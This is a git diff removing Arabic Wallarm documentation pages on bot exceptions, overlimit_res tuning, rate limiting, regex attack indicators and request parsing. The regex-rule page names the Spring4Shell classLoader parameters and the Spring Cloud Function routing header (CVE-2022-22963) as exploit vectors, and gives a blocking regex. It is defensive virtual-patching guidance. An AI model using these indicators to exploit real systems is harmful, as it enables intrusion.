الطلب. - -لاحظ أنك يمكنك تعطيل الاستثناء مؤقتًا للمسار و/أو نوع الطلب دون حذف القاعدة: للقيام بذلك، اختر الوضع **الافتراضي**. يمكنك العودة إلى **لا تتحقق من النشاط البوتي** في أي وقت لاحق. - -## أمثلة على القواعد - -### تمييز بوت شرعي بواسطة رؤوس طلباته - -لنفترض أن تطبيقك مدمج مع أداة التشغيل الآلي للتسويق Klaviyo التي لديها عدة عناوين IP ترسل طلبات. لذلك نحن نضبط عدم التحقق من الأنشطة الآلية (بوت) في طلبات GET من وكيل المستخدم `Klaviyo/1.0` لمسارات محددة: - -![لا تتحقق من النشاط البوتي للطلبات برؤوس محددة](../../images/user-guides/rules/api-abuse-url-request.png) - -### تعطيل الحماية من البوتات لنقطة اختبار - -لنقل أن لديك نقطة النهاية التي تنتمي إلى تطبيقك. ينبغي حماية التطبيق من الأنشطة البوتية ولكن يجب أن تكون نقطة الاختبار استثناء. أيضًا، لديك جرد API الخاص بك مكتشفًا بواسطة وحدة [**اكتشاف API**](../../api-discovery/overview.md). - -في هذه الحالة، من الأسهل إنشاء قاعدة من قائمة نقاط النهاية في **اكتشاف API**. اذهب إلى هناك، ابحث عن نقطة النهاية الخاصة بك وابدأ إنشاء القاعدة من صفحتها: - -![إنشاء تعيين وضع منع إساءة استخدام API لنقطة نهاية اكتشاف API](../../images/user-guides/rules/api-abuse-url.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/rules/configure-overlimit-res-detection.md b/docs/latest-ar/user-guides/rules/configure-overlimit-res-detection.md deleted file mode 100644 index 5dd473378b..0000000000 --- a/docs/latest-ar/user-guides/rules/configure-overlimit-res-detection.md +++ /dev/null @@ -1,57 +0,0 @@ -# دقة ضبط كشف هجمات `overlimit_res` - -تقضي عقدة Wallarm وقتًا محدودًا في معالجة كل طلب وارد، وإذا تجاوزت معالجة الطلب الوقت المحدد، تُعلم الطلب كهجوم [تجاوز حدود الموارد (`overlimit_res`)](../../attacks-vulns-list.md#overlimiting-of-computational-resources). تمكنك قاعدة **دقة ضبط كشف هجمات `overlimit_res`** من تخصيص الحد الزمني المخصص لمعالجة طلب واحد وسلوك العقدة الافتراضي عند تجاوز الحد. - -يمنع تحديد وقت معالجة الطلب هجمات الالتفاف الهادفة إلى عقد Wallarm. في بعض الحالات، قد تشير الطلبات المعلمة كـ`overlimit_res` إلى عدم كفاية الموارد المخصصة لوحدات عقدة Wallarm مما ينتج عنه طول مدة معالجة الطلب. - -## سلوك العقدة الافتراضي - -من الافتراضي أن تقضي عقدة Wallarm لا أكثر من **1000 ملي ثانية** في معالجة كل طلب وارد. - -إذا تجاوز الطلب الحد الزمني، تقوم عقدة Wallarm: - -1. بإيقاف معالجة الطلب. -1. بتعليم الطلب كهجوم `overlimit_res` وتحميل تفاصيل الهجوم إلى سحابة Wallarm. - - إذا احتوى جزء الطلب المعالج أيضًا على [أنواع هجوم](../../attacks-vulns-list.md) أخرى، تحمل عقدة Wallarm تفاصيلها إلى السحابة كذلك. - - ستُعرض هجمات الأنواع المقابلة في [قائمة الأحداث](../events/check-attack.md) في واجهة مستخدم Wallarm. -1. في الوضع **المراقبة**، تمرر العقدة الطلب الأصلي إلى عنوان التطبيق. لدى التطبيق خطر التعرض للهجوم باستخدام الهجمات المشمولة في أجزاء الطلب المعالجة وغير المعالجة. - - في وضع **الحظر الآمن**، تحظر العقدة الطلب إذا كان مصدره من عنوان IP المدرج في القائمة الرمادية. خلاف ذلك، تمرر العقدة الطلب الأصلي إلى عنوان التطبيق. لدى التطبيق خطر التعرض للهجوم باستخدام الهجمات المشمولة في أجزاء الطلب المعالجة وغير المعالجة. - - في وضع **الحظر**، تحظر العقدة الطلب. - -!!! info "معالجة الطلب في وضع "معطل"" - في وضع **معطل**، لا تحلل العقدة حركة المرور الواردة وبالتالي، لا تكشف عن الهجمات الموجهة لتجاوز حدود الموارد. - -## تغيير سلوك العقدة الافتراضي - -!!! warning "خطر التحايل على الحماية أو نفاد ذاكرة النظام" - * يُنصح بتغيير سلوك العقدة الافتراضي في المواقع المحددة جدًا حيث يكون ذلك ضروريًا بالفعل، مثلًا حيث يتم تحميل الملفات الكبيرة وحيث لا يوجد خطر التحايل على الحماية واستغلال الثغرات الأمنية. - * قد يؤدي الحد الزمني العالي و/أو استمرار معالجة الطلب بعد تجاوز الحد إلى استنفاد الذاكرة أو معالجة الطلب خارج الوقت. - -تمكنك قاعدة **دقة ضبط كشف هجوم `overlimit_res`** من تغيير سلوك العقدة الافتراضي كما يلي: - -* تعيين حد مخصص على معالجة طلب واحد -* إيقاف أو متابعة معالجة الطلب عند تجاوز الحد الزمني - - إذا واصلت العقدة معالجة الطلب بعد تجاوز الحد الزمني، فإنها تحمل بيانات عن الهجمات المكتشفة إلى السحابة فقط بعد اكتمال معالجة الطلب بالكامل. - - إذا تم ضبط القاعدة على إيقاف المعالجة، توقف العقدة معالجة الطلب بمجرد تجاوز الحد الزمني. ثم تمرر الطلب إلا إذا تم ضبطها على تسجيل هجوم وهي في وضع الحظر. في هذه الحالة، تحظر العقدة الطلب وتسجل هجوم `overlimit_res`. -* تسجيل هجوم `overlimit_res` عند تجاوز حد زمن معالجة الطلب أم لا - - إذا تم ضبط العقدة على تسجيل الهجوم، فإنها إما [تحظر الطلب أو تمرره إلى عنوان التطبيق](#request-blocking) بناءً على وضع التصفية. - - إذا لم تُضبط العقدة على تسجيل الهجوم ولم يحتوي الطلب على أنواع هجمات أخرى، تمرر العقدة الطلب الأصلي إلى عنوان التطبيق. إذا احتوى الطلب على أنواع هجمات أخرى، تحظر العقدة الطلب أو تمرره إلى عنوان التطبيق بناءً على وضع التصفية - -لا تتيح القاعدة لك: - -* تعيين وضع الحظر لهجمات `overlimit_res` بمعزل عن التكوينات الأخرى. إذا تم اختيار خيار **التسجيل والعرض في الأحداث**، إما أن تحظر العقدة هجوم `overlimit_res` أو تمرره إلى عنوان التطبيق بناءً على [وضع التصفية](../../admin-en/configure-wallarm-mode.md) المضبوط للنقطة النهائية المقابلة. - -## مثال على القاعدة - -* تزيد القاعدة الحد الزمني لمعالجة كل طلب POST إلى `https://example.com/upload` حتى 1020 ملي ثانية. تؤدي النقطة النهائية المحددة تحميل الملفات الكبيرة. -* تظل باقي معايير سلوك العقدة افتراضية - إذا ما قامت العقدة بمعالجة الطلب لمدة تزيد عن 1020 ملي ثانية، توقف الطلب وتسجل هجوم `overlimit_res`. - -![مثال على القاعدة "التسجيل والعرض في الأحداث"](../../images/user-guides/rules/fine-tune-overlimit-detection-example.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/rules/rate-limiting.md b/docs/latest-ar/user-guides/rules/rate-limiting.md deleted file mode 100644 index c96c10c27a..0000000000 --- a/docs/latest-ar/user-guides/rules/rate-limiting.md +++ /dev/null @@ -1,126 +0,0 @@ -# الحد من معدل الطلبات - -يتم تضمين [استهلاك موارد غير محدود](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md) في قائمة [أعلى 10 مخاطر لأمان API في OWASP 2023](../../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023). نقص تحديد معدل الطلبات هو واحد من الأسباب الرئيسية لهذا المخاطر. بدون تدابير تحديد معدل الطلبات المناسبة، تكون واجهات برمجة التطبيقات معرضة للهجمات مثل الحرمان من الخدمة (DoS)، هجوم القوة الغاشمة، واستخدام API بشكل مفرط. توضح هذه المقالة كيفية حماية واجهة برمجة التطبيقات والمستخدمين مع قاعدة تحديد معدل الطلبات في Wallarm. - -تقدم Wallarm قاعدة **تعيين الحد من معدل الطلبات** [‏‎](../../user-guides/rules/rules.md) لمساعدتك في منع وصول الكثير من الطلبات إلى واجهة برمجة التطبيقات. تتيح لك هذه القاعدة تحديد الحد الأقصى لعدد الاتصالات التي يمكن تأمينها بشكل معين، مع ضمان توزيع الطلبات الواردة بسلاسة. إذا تجاوز الطلب الحد المحدد، يرفض Wallarm الطلب ويعيد الرمز الذي حددته في القاعدة. - -Wallarm يفحص مختلف المعلمات الطلب مثل الكوكيز أو حقول JSON، مما يتيح لك الحد من الاتصالات لا يعتمد فقط على عنوان IP المصدر، ولكن أيضا على معرفات الجلسة، أسماء المستخدمين، أو عناوين البريد الإلكتروني. يتيح لك هذا الدقة المضافة تعزيز الأمان العام للمنصة على أي بيانات المنشأ. - -لاحظ أن التحديد المعدل التي وصفتها في هذه المقالة هي أحد الطرق التي تقدمها Wallarm للتحكم في الحمل - بدلاً من ذلك، يمكنك تطبيق [الحماية من هجمات القوة الغاشمة](../../admin-en/configuration-guides/protecting-against-bruteforce.md). استخدم الحد من معدل الطلبات لإبطاء الحركة الواردة وحماية القوة الغاشمة لحظر المهاجم تماماً. - -## إنشاء القاعدة وتطبيقها - -لتعيين وتنفيذ الحد من معدل الطلبات: - -1. انتقل إلى وحدة تحكم Wallarm → **قواعد** → **إضافة قاعدة**. -1. في **إذا كان الطلب هو**، [صف](rules.md#rule-branches) نطاق تطبيق القاعدة عليه. -1. في **ثم**، اختر **تعيين الحد من معدل الطلبات** وحدد حدودا مرغوبة للاتصالات بنطاقك: - - * الحد الأقصى لعدد الطلبات في الثانية أو الدقيقة. - * **الانفجار** - الحد الأقصى لعدد الطلبات الزائدة التي يمكن تخزينها مؤقتاً بمجرد تجاوز RPS / RPM المحدد والتي ستتم معالجتها بمجرد أن يعود المعدل إلى حالته الطبيعية. `0` كمعدل افتراضي. - - إذا كانت القيمة مختلفة عن `0`، يمكنك التحكم في ما إذا كان سيتم الحفاظ على RPS / RPM المحدد بين تنفيذ الطلبات الزائدة المخزنة مؤقتاً. - - **لا يوجد تأخير** يشير إلى معالجة جميع الطلبات الزائدة المخزنة مؤقتا في وقت واحد، من دون تأخير في معدل الطلبات. **التأخير** يعني المعالجة المتزامنة للعدد المحدد من الطلبات الزائدة، والباقي تتم معالجتهم بتأخير معدل الطلبات في الثانية أو الدقيقة. - - * **رمز الاستجابة** - الرمز الذي يجب إرجاعه كرد على الطلبات المرفوضة. `503` كمعدل افتراضي. - - أدناه مثال على سلوك الحد من معدل الطلبات بحد 5 r/s، انفجار 12 وتأخير 8. - - ![كيف يعمل الحد من معدل الطلبات](../../images/user-guides/rules/rate-limit-schema.png) - - تتم نقل الطلبات الـ 8 الأولى (قيمة التأخير) بواسطة وحدة Wallarm بدون تأخير. يتم تأجيل الطلبات الـ 4 التالية (انفجار - تأخير) حتى لا يتجاوز الحد المحدد من 5 r/s. يتم رفض الطلبات الـ 3 التالية لأنه قد تم تجاوز حجم الانفجار الإجمالي. يتم تأجيل الطلبات اللاحقة. - -1. في **في هذا الجزء من الطلب**، حدد نقاط الطلب التي ترغب في تحديد حدود لها. سيقوم Wallarm بتقييد الطلبات التي لديها نفس القيم لمعلمات الطلب المحددة. - - يتم وصف جميع النقاط المتاحة [هنا](request-processing.md)، يمكنك اختيار تلك التي تتناسب مع حالتك الخاصة، على سبيل المثال : - - * `remote_addr` للحد من الاتصالات من عنوان IP المصدر - * `json` → `json_doc` → `hash` → `api_key` لتحديد الحد للاتصالات من العنصر `api_key` في جسم JSON - - !!! معلومات "قيود على طول القيمة" - أقصى طول مسموح به لقيم المعلمات التي تقيس حدودها هو 8000 رمز. -1. انتظر حتى يكتمل [تجميع القاعدة](rules.md#ruleset-lifecycle). - -## أمثلة على القواعد - - -### الحد من الاتصالات بواسطة IP لضمان توفر API بشكل عالي - -بفتراض وجود شركة للرعاية الصحية تمتلك واجهة برمجة التطبيقات REST التي تتيح للأطباء تقديم معلومات المرضى من خلال طلب POST لنقطة النهاية `/patients` المضيفة لـ `https://example-host.com`. توفر هذه النقطة المنتهية هي في غاية الأهمية، ولذا فالجوانب الأمنية لمعلومات المرضى لا يجب أن تتعرض لكثير من الطلبات. - -يمكن أن يحد الاتصالات بواسطة IP في فترة معينة خصيصًا لنقطة النهاية `/patients` من تسبب هذا. وهذا يضمن استقرار نقطة النهاية وتوفرها لجميع الأطباء، مع حماية الأمن أيضًا لمعلومات المرضى من الهجمات DoS. - -على سبيل المثال، يمكن تعيين الحد على 5 طلبات POST في الدقيقة لكل عنوان IP على النحو التالي: - -![مثال](../../images/user-guides/rules/rate-limit-by-ip-for-patients.png) - -### تحديد الاتصالات بواسطة الجلسات لمنع هجمات القوة الغاشمة على المعلمات الأمنية - -من خلال تطبيق تحديد المعدل على الجلسات المستخدم، يمكنك التقييد ضربات القوة الغاشمة لإيجاد JWTs الحقيقية أو معلمات الاستيثاق الأخرى من أجل الوصول غير المصرح به إلى الموارد المحمية. على سبيل المثال، إذا جعلت القاعدة تسمح فقط بـ 10 طلبات في الدقيقة تحت جلسة، سيصل المهاجم الذي يحاول اكتشاف JWT صالحة بإجراء طلبات كثيرة بأعداد مختلفة من الرموز سريعًا إلى حد المعدل، وسيتم رفض طلباته حتى ينتهي فترة القيد. - -بالافتراض أن تطبيقك يعين كل جلسة استخدم على نحو فريد من خلال واحد ويعكس عليه في رأس `X-SESSION-ID`. في هذه الحالة، تقبل نقطة النهاية للواجهة على ال URL `https://example.com/api/login` الطلبات POST التي تتضمن JVMware JWT في رأس `Authorization`. في هذا السيناريو، ستكون القاعدة التي تحد الاتصالات بواسطة الجلسات كما يلي: - -![مثال](../../images/user-guides/rules/rate-limit-for-jwt.png) - -الـ[regexp](rules.md#condition-type-regex) المستخدم لقيمة `Authorization` هو ``^Bearer\s+([a-zA-Z0-9-_]+[.][a-zA-Z0-9-_]+[.][a-zA-Z0-9-_]+)$``. - -إذا كنت تستخدم JWT (كود تطبيقات JSON ويب) لإدارة جلسات المستخدمين، يمكنك ضبط القاعدة لـ[فك تشفير](request-processing.md#jwt) JWT واستخراج ID الجلسة من حمولتها على النحو التالي: - -![مثال](../../images/user-guides/rules/rate-limit-for-session-in-jwt.png) - - - -### تحديد الاتصالات بواسطة معرفات العملاء لمنع الإرهاق في الخادم - -دعنا نفترض وجود خدمة ويب توفر الوصول إلى بيانات الطلبات للعملاء لمنصة التجارة الإلكترونية. يمكن أن يساعد الحد من معدل الطلبات على معرفات العملاء في منع العملاء من تقديم الكثير من الطلبات في فترة زمنية قصيرة، والتي قد تضغط على إدارة المخزون وتلبية الطلبات. - -على سبيل المثال، قد تبدو القاعدة التي تحدد عدد الطلبات لكل عميل في 10 طلبات POST في الدقيقة إلى `https://example-domain.com/orders` بالشكل التالي. يراعي هذا السيناريو عنوان البريد الإلكتروني و يعتبر المدرج[ اكتشاف](request-processing.md#json_doc) في كائن الجسم JSON `data.customer_id`. - -![مثال](../../images/user-guides/rules/rate-limit-by-customer-id.png) - -## القيود والخصائص - -تتميز وظيفة الحد من معدل الطلبات بالقيود والخصائص التالية: - -* يتم دعم الحد من معدل الطلبات في جميع [أشكال نشر Wallarm](../../installation/supported-deployment-options.md) باستثناء الصورة لـ Docker المبنية على على Envoy. -* أقصى طول مسموح به لقيم المعلمات التي تقيس حدودها هو 8000 رمز. -* إذا كان لديك عقدات Wallarm متعددة والحركة الواردة على كل عقدة تفي بقاعدة الحد من معدل الطلبات، يتم تحديدهم بشكل مستقل. -* عندما تطبق قواعد الحد من المعدل على الطلبات الواردة، يتم استخدام القاعدة ذات الحد الأدنى لتحديد الطلبات. -* إذا كان الطلب الوارد لا يحتوي على النقطة المحددة في قسم القاعدة **في هذا الجزء من الطلب**، فإن هذه القاعدة لا تعتبر محددة لذلك الطلب. -* إذا تم تكوين خادم الويب الخاص بك للحد من الاتصالات (مثل استخدام وحدة [`ngx_http_limit_req_module`](http://nginx.org/en/docs/http/ngx_http_limit_req_module.html) NGINX) وكنت تطبق القاعدة أيضًا، فإن الخادم الويب يرفض الطلبات حسب القواعد المعدة ولكن Wallarm لا يفعل. -* لا يحفظ Wallarm الطلبات التي تتجاوز الحد من معدل الطلبات، بل يرفضها فقط من خلال إرجاع الرمز الذي تم اختياره في القاعدة. الاستثناء هو الطلبات مع [علامات الهجوم](../../about-wallarm/protecting-against-attacks.md) - يتم تسجيلها بواسطة Wallarm حتى لو تم رفضها بواسطة قاعدة الحد من معدل الطلبات. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/rules/regex-rule.md b/docs/latest-ar/user-guides/rules/regex-rule.md deleted file mode 100644 index af53748a54..0000000000 --- a/docs/latest-ar/user-guides/rules/regex-rule.md +++ /dev/null @@ -1,108 +0,0 @@ -[link-regex]: https://github.com/yandex/pire -[img-regex-example1]: ../../images/user-guides/rules/regex-rule-1.png -[img-regex-example2]: ../../images/user-guides/rules/regex-rule-2.png -[img-regex-id]: ../../images/user-guides/rules/regex-id.png -[request-processing]: ../../user-guides/rules/request-processing.md - -# مكتشفات الهجمات المُعرّفة من المستخدم - -توفر Wallarm قاعدة **إنشاء مؤشر هجوم مبني على التعبير النظامي** [rule](../../user-guides/rules/rules.md) لتحديد علامات الهجوم الخاصة بك التي يتم وصفها باستخدام التعبيرات النظامية. - -## إنشاء وتطبيق القاعدة - -لتحديد وتطبيق مُكتشف هجماتك الخاص: - -1. انتقل إلى واجهة Wallarm → **القواعد** → **إضافة قاعدة**. -1. في **إذا كانت الطلبية**, [صِف](rules.md#rule-branches) نطاق تطبيق القاعدة. -1. في **ثم**, اختر **إنشاء مؤشر هجوم مبني على التعبير النظامي** وتعيين معايير مؤشر الهجوم الخاصة بك: - - * **التعبير النظامي** - التعبير النظامي (التوقيع). إذا تطابقت قيمة العامل التالي مع التعبير، يتم اكتشاف الطلب على أنه هجوم. يتم وصف بناء الجملة وخصوصيات التعبيرات النظامية في [تعليمات إضافة القواعد](rules.md#condition-type-regex). - - !!! warning "تغيير التعبير النظامي المحدد في القاعدة" - يؤدي تغيير التعبير النظامي المحدد في القاعدة القائمة من نوع **إنشاء مؤشر هجوم مبني على التعبير النظامي** إلى حذف تلقائي للقواعد [**تعطيل كشف الهجوم المبني على التعبير النظامي**](#partial-disabling) التي تستخدم التعبير السابق. - - لتعطيل كشف الهجوم بواسطة تعبير نظامي جديد، يرجى إنشاء قاعدة جديدة **تعطيل كشف الهجوم المبني على التعبير النظامي** مع التعبير النظامي المحدد الجديد. - - * **تجريبي** - تسمح هذه العلامة بفحص تشغيل التعبير النظامي بأمان دون حجب الطلبات. لن يتم حجب الطلبات حتى عندما يتم ضبط عقدة الفلترة على وضع الحجب. ستعتبر هذه الطلبات بمثابة هجمات تم اكتشافها بالطريقة التجريبية وسيتم إخفاؤها من قائمة الأحداث بشكل افتراضي. يمكن الوصول إليها باستخدام استعلام البحث `هجمات تجريبية`. - - * **الهجوم** - نوع الهجوم الذي سيتم اكتشافه عندما تطابق قيمة العامل في الطلب التعبير النظامي. - -1. في **في هذا الجزء من الطلبية**, حدد [أجزاء الطلب](request-processing.md) التي ترغب في البحث فيها عن علامات الهجوم. -1. انتظر اكتمال [تجميع القاعدة](rules.md#ruleset-lifecycle). - -## أمثلة على القواعد - -### حجب جميع الطلبات ذات الرأس `X-AUTHENTICATION` غير الصحيح - ---8<-- "../include/waf/features/rules/rule-vpatch-regex.md" - -### حجب جميع الطلبات بها معايير في الجسم `class.module.classLoader.*` - -إحدى طرق استغلال ثغرة اليوم الصفر في [Spring Core Framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/overview.html) (Spring4Shell) هي إرسال طلب POST به حمولات ضارة مُضافة إلى المعايير التالية في الجسم: - -* `class.module.classLoader.resources.context.parent.pipeline.first.pattern` -* `class.module.classLoader.resources.context.parent.pipeline.first.suffix` -* `class.module.classLoader.resources.context.parent.pipeline.first.directory` -* `class.module.classLoader.resources.context.parent.pipeline.first.prefix` -* `class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat` - -إذا كنت تستخدم Spring Core Framework القابلة للاستغلال ووضع عقدة Wallarm [mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) مختلف عن الحجب، يمكنك منع استغلال الثغرة باستخدام الرقعة الافتراضية. ستقوم القاعدة التالية بحجب جميع الطلبات التي تحتوي على المعايير المذكورة في الجسم حتى في أوضاع المراقبة والحجب الآمن: - -![الرقعة الافتراضية لمعايير الطلبات المحددة](../../images/user-guides/rules/regexp-rule-post-params-spring.png) - -قيمة حقل التعبير النظامي هي: - -```bash -(class[.]module[.]classLoader[.]resources[.]context[.]parent[.]pipeline[.]first[.])(pattern|suffix|directory|prefix|fileDateFormat) -``` - -تقوم عقدة Wallarm العاملة في وضع [الحجب](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) بحجب محاولات استغلال مثل هذه الثغرة افتراضيًا. - -مكون Spring Cloud Function يحتوي أيضًا على ثغرة نشطة (CVE-2022-22963). إذا كنت تستخدم هذا المكون ووضع عقدة Wallarm مختلف عن الحجب، أنشئ الرقعة الافتراضية كما هو موضح [أدناه](#example-block-all-requests-with-the-class-cloud-function-routing-expression-header). - -### حجب جميع الطلبات برأس `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION` - -مكون Spring Cloud Function يحتوي على ثغرة نشطة (CVE-2022-22963) يمكن استغلالها عن طريق حقن حمولات ضارة في رأس `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION` أو `CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION`. - -إذا كنت تستخدم هذا المكون ووضع عقدة Wallarm [mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) مختلف عن الحجب، يمكنك منع استغلال الثغرة باستخدام الرقعة الافتراضية. القاعدة التالية ستقوم بحجب جميع الطلبات التي تحتوي على رأس `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION`: - -![الرقعة الافتراضية للرأس المحدد](../../images/user-guides/rules/regexp-rule-header-spring.png) - -!!! info "حجب الطلبات برأس `CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION`" - هذه القاعدة لا تحجب الطلبات برأس `CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION` لكن NGINX يرفض الطلبات برأس غير صالح كهذا بشكل افتراضي. - -تقوم عقدة Wallarm العاملة في وضع [الحجب](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) بحجب محاولات استغلال مثل هذه الثغرة افتراضيًا. - -هناك أيضًا ثغرة يوم الصفر في [Spring Core Framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/overview.html) (Spring4Shell). تعرف على كيفية حجب محاولات استغلالها مع [الرقعة الافتراضية المبنية على التعبير النظامي](#example-block-all-requests-with-the-classmoduleclassloader-body-parameters). - -## التعطيل الجزئي - -إذا كان يجب تعطيل القاعدة المُنشأة جزئيًا لفرع معين، يمكن القيام بذلك بسهولة عن طريق إنشاء القاعدة **تعطيل كشف الهجوم المبني على التعبير النظامي** بالحقول التالية: - -- *التعبير النظامي*: التعبيرات النظامية التي تم إنشاؤها مسبقًا والتي يجب تجاهلها. - - !!! warning "سلوك القاعدة إذا تم تغيير التعبير النظامي" - يؤدي تغيير التعبير النظامي المحدد في القاعدة القائمة من نوع [**إنشاء مؤشر هجوم مبني على التعبير النظامي**](#creating-and-applying-rule) إلى حذف تلقائي للقواعد **تعطيل كشف الهجوم المبني على التعبير النظامي** التي تستخدم التعبير السابق. - - لتعطيل كشف الهجوم بواسطة تعبير نظامي جديد، يرجى إنشاء قاعدة جديدة **تعطيل كشف الهجوم المبني على التعبير النظامي** مع التعبير النظامي المحدد الجديد. - -- *في هذا الجزء من الطلبية*: يشير إلى العامل الذي يتطلب إعداد استثناء. - -**مثال: السماح برأس X-Authentication غير صحيح لعنوان URL محدد** - -لنفترض أن لديك سكربت في `example.com/test.php`، وترغب في تغيير تنسيق الرموز الترويجية له. - -لإنشاء القاعدة ذات الصلة: - -1. انتقل إلى علامة التبويب *القواعد* -1. ابحث أو أنشئ الفرع لـ `example.com/test.php` وانقر *إضافة قاعدة* -1. اختر *تعطيل كشف الهجوم المبني على التعبير النظامي* -1. حدد التعبير النظامي الذي ترغب في تعطيله -1. ضبط نقطة `رأس X-AUTHENTICATION` -1. انقر *إنشاء* - -![مثال القاعدة الثاني للتعبير النظامي][img-regex-example2] - -## استدعاء API لإنشاء القاعدة - -لإنشاء مؤشر الهجوم المبني على التعبير النظامي، يمكنك [استدعاء API Wallarm مباشرة](../../api/request-examples.md#create-a-rule-to-consider-the-requests-with-specific-value-of-the-x-forwarded-for-header-as-attacks). \ No newline at end of file diff --git a/docs/latest-ar/user-guides/rules/request-processing.md b/docs/latest-ar/user-guides/rules/request-processing.md deleted file mode 100644 index 5506be4536..0000000000 --- a/docs/latest-ar/user-guides/rules/request-processing.md +++ /dev/null @@ -1,387 +0,0 @@ -[خيارات-إنشاء-القواعد]: ../../user-guides/events/analyze-attack.md#analyze-requests-in-an-event -[معالجة-الطلبات]: ../../user-guides/rules/request-processing.md - -# تحليل الطلبات - -عند تحليل الطلبات، يستخدم العقدة الفلترة في Wallarm مجموعة شاملة من المحللات. بعد تحديد أجزاء الطلب، يتم تطبيق المحللات بتسلسل على كل منها لتوفير الإعدادات الفوقية للطلبات التي ستستخدم في الكشف عن الهجمات. المحللات المتاحة، منطق استخدامها والتكوينات الممكنة لهذا المنطق وصفت في هذه المقالة. - -لاجراء تحليل فعال، تتبع Wallarm القواعد التالية: - -* العمل مع نفس البيانات كالتطبيق المحمي. على سبيل المثال: - - إذا نقدم التطبيق أداة JSON API، فإن المعلمات المعالجة ستتم ترميزها أيضًا في تنسيق JSON. للحصول على قيم المعامل، يستخدم Wallarm محلل JSON. هناك أيضا حالات أكثر تعقيدًا حيث يتم ترميز البيانات عدة مرات - مثلا، JSON إلى Base64 إلى JSON. تتطلب هذه الحالات فك الترميز بعدة محللات. - -* يجب اعتبار سياق معالجة البيانات. على سبيل المثال: - - يمكن تمرير المعامل `name` في طلبات الإنشاء كاسم المنتج وكاسم المستخدم. ومع ذلك، قد يكون كود المعالجة لمثل هذه الطلبات مختلف. لتحديد طريقة تحليل مثل هذه المعلمات، قد يستخدم Wallarm عنوان URL الذي تم إرسال الطلبات منه أو معاملات أخرى. - -## تحديد وتحليل أجزاء الطلب - -ابتداءً من القسم الأعلى من طلب HTTP، يحاول العقدة الفلترة تطبيق كل من المحللات المناسبة بتسلسل على كل جزء. قائمة المحللات التي تم تطبيقها تعتمد على طبيعة البيانات ونتائج التدريب السابق للنظام. - -الإخراج من المحللات يصبح مجموعة إضافية من المعلمات التي يجب تحليلها بطريقة مماثلة. في بعض الأحيان، يصبح الإخراج من المحللات بنية معقدة مثل JSON، array، أو associative array. - -!!! info "وسوم المحلل" - لكل محلل معرف (وسم). على سبيل المثال، `header` لمحلل رؤوس الطلب. يتم عرض مجموعة الوسوم التي تم استخدامها في تحليل الطلب في واجهة Wallarm Console ضمن تفاصيل الحدث. توضح هذه البيانات الجزء من الطلب حيث تم الكشف عن الهجوم والمحللات التي تم استخدامها. - - على سبيل المثال، إذا كان هناك هجوم تم الكشف عنه في العنوان `SOAPACTION`: - - ![مثال على الوسم](../../images/user-guides/rules/tags-example.png) - -### عنوان URL - -كل طلب HTTP يحتوي على عنوان URL. للعثور على الهجمات، يحلل العقدة الفلترة كلاً من القيمة الأصلية ومكوناتها الفردية: **المسار**، **اسم العمل**، **امتداد العمل**، **الاستعلام**. - -الوسوم التالية تتوافق مع محلل عنوان URL: - -* **uri** للقيمة الأصلية لعنوان الـURL بدون النطاق (مثلا، `/blogs/123/index.php?q=aaa` للطلب المرسل إلى `http://example.com/blogs/123/index.php?q=aaa`). -* **path** للمصفوفة مع أجزاء عنوان الـURL المفصولة برمز `/` (الجزء الأخير من عنوان URL ليس مدرج في المصفوفة). إذا كان هنالك جزء واحد فقط في عنوان URL، ستكون المصفوفة فارغة. -* **action_name** للجزء الأخير من عنوان URL بعد الرمز `/` وقبل النقطة الأولى (`.`). هذا الجزء من عنوان URL موجود دائما في الطلب، حتى ولو كانت قيمته سلسلة فارغة. -* **action_ext** للجزء من عنوان URL بعد النقطة الأخيرة (`.`). قد يغيب في الطلب. - - !!! warning "الحدود بين **action_name** و **action_ext** عندما تكون هناك عدة نقاط" - إذا كانت هناك عدة نقاط (`.`) في الجزء الأخير من عنوان URL بعد الرمز `/`، قد تحدث مشكلات مع الحدود بين **action_name** و **action_ext**، مثل: - - * تعيين الحدود بناءً على النقطة **الأولى**، على سبيل المثال: - - `/modern/static/js/cb-common.ffc63abe.chunk.js.map` → - - * ... - * `action_name` — `cb-common` - * `action_ext` — `ffc63abe.chunk.js.map` - - * قد تكون بعض العناصر مفقودة بعد التحليل، للمثال أعلاه يمكن أن يكون: - - * `action_name` — `cb-common` - * `action_ext` — `ffc63abe` - - لتصحيح هذا، قم بتحرير **action_name** و **action_ext** يدويا في [نموذج التحرير المتقدم](rules.md#advanced-edit-form) لمنشئ URI. - -* **query** ل[معايير سلسلة الاستعلام](#query-string-parameters) بعد الرمز `?`. - -مثلا: - -`/blogs/123/index.php?q=aaa` - -* `[uri]` — `/blogs/123/index.php?q=aaa` -* `[path, 0]` — `blogs` -* `[path, 1]` — `123` -* `[action_name]` — `index` -* `[action_ext]` — `php` -* `[query, 'q']` — `aaa` - -### معايير سلسلة الاستعلام - -تتم إرسال معايير سلسلة الاستعلام إلى التطبيق في عنوان الـURL للطلب بعد الحرف `?` بالتنسيق `key=value`. الوسم **query** يتوافق مع المحلل. - -مثال على الطلب | معايير سلسلة الاستعلام والقيم ----- | ----- -`/?q=some+text&check=yes` |
      • `[query, 'q']` — `some text`
      • `[query, 'check']` — `yes`
      -`/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb` |
      • `[query, 'p1', hash, 'x']` — `1`
      • `[query, 'p1', hash, 'y']` — `2`
      • `[query, 'p2', array, 0]` — `aaa`
      • `[query, 'p2', array, 1]` — `bbb`
      -`/?p3=1&p3=2` |
      • `[query, 'p3', array, 0]` — `1`
      • `[query, 'p3', array, 1]` — `2`
